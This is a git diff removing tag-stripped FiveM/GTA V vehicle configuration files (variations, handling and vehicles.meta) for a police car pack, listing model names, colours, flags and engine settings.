code3silverado - - - - 0 - 0 - 11 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 2 - 0 - 134 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 75 - 0 - 157 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 7 - 0 - 134 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 34 - 0 - 45 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0 - 0 - 2 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0_default_modkit - - - - - - Police guv plate - - - - - - - - - code3bmw - - - - 0 - 0 - 11 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 2 - 0 - 134 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 75 - 0 - 157 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 7 - 0 - 134 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 34 - 0 - 45 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0 - 0 - 2 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0_default_modkit - - - - - - Police guv plate - - - - - - - - - code3harley - - - - 0 - 0 - 11 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 2 - 0 - 134 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 75 - 0 - 157 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 7 - 0 - 134 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 34 - 0 - 45 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0 - 0 - 2 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0_default_modkit - - - - - - Police guv plate - - - - - - - - - code3durango - - - - 0 - 0 - 11 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 2 - 0 - 134 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 75 - 0 - 157 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 7 - 0 - 134 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 34 - 0 - 45 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0 - 0 - 2 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0_default_modkit - - - - - - Police guv plate - - - - - - - - - code316fpiu - - - - 0 - 0 - 11 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 2 - 0 - 134 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 75 - 0 - 157 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 7 - 0 - 134 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 34 - 0 - 45 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0 - 0 - 2 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0_default_modkit - - - - - - Police guv plate - - - - - - - - - code3f250 - - - - 0 - 0 - 11 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 2 - 0 - 134 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 75 - 0 - 157 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 7 - 0 - 134 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 34 - 0 - 45 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0 - 0 - 2 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0_default_modkit - - - - - - Police guv plate - - - - - - - - - code319silv - - - - 0 - 0 - 11 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 2 - 0 - 134 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 75 - 0 - 157 - 156 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 7 - 0 - 134 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 34 - 0 - 45 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0 - 0 - 2 - 0 - 0 - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0_default_modkit - - - - - - Police guv plate - - - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/handling.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/handling.meta deleted file mode 100644 index 6ea6be07b..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/handling.meta +++ /dev/null @@ -1,1209 +0,0 @@ - - - - - codevic - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 0 - 0 - AVERAGE - - - - - - - - - - - codecap - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 0 - 0 - AVERAGE - - - - - - - - - - - coderam - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 0 - 0 - AVERAGE - - - - - - - - - - - codef150 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 0 - 0 - AVERAGE - - - - - - - - - - - codef250 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 0 - 0 - AVERAGE - - - - - - - - - - - codefpis - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 0 - 0 - AVERAGE - - - - - - - - - - - codefpiu - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 0 - 0 - AVERAGE - - - - - - - - - - - codetah14 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 0 - 0 - AVERAGE - - - - - - - - - - - codeimp - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 0 - 0 - SPORTS_CAR - - - - - - - - - - - - codechar10 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 1 - 0 - AVERAGE - - - - - - - - - - - - codegat - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 040010 - 1000000 - 0 - AVERAGE - - - - - - - - codecamaro - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 0 - 0 - AVERAGE - - - - - - - - - - - - codestang - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 0 - 0 - AVERAGE - - - - - - - - - - - - codesilv - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 0 - 0 - AVERAGE - - - - - - - - - - - - codedur - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 0 - 0 - AVERAGE - - - - - - - - - - - - code19silv - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 0 - 0 - AVERAGE - - - - - - - - - - - - codeexp16 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 0 - 0 - AVERAGE - - - - - - - - - - - codetah - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 0 - 0 - AVERAGE - - - - - - - - - - - codechar - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 0 - 0 - AVERAGE - - - - - - - - - - - codecharg - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 440010 - 0 - 0 - AVERAGE - - - - - - - - - - - \ No newline at end of file diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/vehicles.meta deleted file mode 100644 index 8484f28b1..000000000 --- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/code3megapackrb/vehicles.meta +++ /dev/null @@ -1,3995 +0,0 @@ - - - vehshare - - - - code318charg - code318charg - codechar - code318charg - - null - null - null - null - - null - demonv8 - LAYOUT_STANDARD - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code3fpis - code3fpis - codefpis - code3fpis - - null - null - null - null - - null - ecoboostv6 - LAYOUT_STANDARD - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code314charg - code314charg - codecharg - code314charg - - null - null - null - null - - null - demonv8 - LAYOUT_STANDARD - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code3cvpi - code3cvpi - codevic - code3cvpi - - null - null - null - null - - null - cvpiv8 - LAYOUT_STANDARD - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - libertyfpis - libertyfpis - codefpis - libertyfpis - - null - null - null - null - - null - ecoboostv6 - LAYOUT_STANDARD - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code3cap - code3cap - codecap - code3cap - - null - null - null - null - - null - WINDSOR - LAYOUT_STANDARD - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code318tahoe - code318tahoe - codetah - code318tahoe - - null - null - null - null - - null - BALLER2 - LAYOUT_BISON - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - boattrailer - code3trailer - code3trailer2 - trailersmall - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code318tahoek9 - code318tahoek9 - codetah - code318tahoek9 - - null - null - null - null - - null - BALLER2 - LAYOUT_BISON - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - boattrailer - code3trailer - code3trailer2 - trailersmall - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - libertytahoe2 - libertytahoe2 - codetah14 - libertytahoe2 - - null - null - null - null - - null - BALLER2 - LAYOUT_STANDARD - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - boattrailer - trailersmall - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code320exp - code320exp - codefpiu - code320exp - - null - null - null - null - - null - ecoboostv6 - LAYOUT_STANDARD - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - boattrailer - trailersmall - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - code3ram - code3ram - coderam - code3ram - - null - null - null - null - - null - cummins5924v - LAYOUT_BISON - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - boattrailer - code3trailer - code3trailer2 - trailersmall - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - - - - - - - STD_POLICE_FRONT_LEFT - STD_POLICE_FRONT_RIGHT - STD_POLICE_REAR_LEFT - STD_POLICE_REAR_RIGHT - - - - libertyf150 - libertyf150 - codef150 - libertyf150 - - null - null - null - null - - null - BALLER2 - LAYOUT_STANDARD - SHERIFF_COVER_OFFSET_INFO - EXPLOSION_INFO_DEFAULT - - DEFAULT_FOLLOW_VEHICLE_CAMERA - DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA - VEHICLE_BONNET_CAMERA_MID_HIGH - DEFAULT_POV_CAMERA - - - - - - - - - - - - - - - - - - - - - - - - - - - - VFXVEHICLEINFO_CAR_GENERIC - - - - - - - - - - - - - - - - - - - - - - 100.000000 - 200.000000 - 300.000000 - 400.000000 - 500.000000 - 500.000000 - - - - - - - - - - - SWANKNESS_1 - - FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS - VEHICLE_TYPE_CAR - VPT_FRONT_AND_BACK_PLATES - VDT_GENTAXI - VC_EMERGENCY - VWT_MUSCLE - - boattrailer - trailersmall - - - - - S_M_Y_Sheriff_01 - - - - - - - - - - - REWARD_WEAPON_PUMPSHOTGUN - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE - REWARD_STAT_WEAPON - - - WHEEL_FRONT_RIGHT_CAMERA - WHEEL_FRONT_LEFT_CAMERA - WHEEL_REAR_RIGHT_CAMERA - WHEEL_REAR_LEFT_CAMERA - 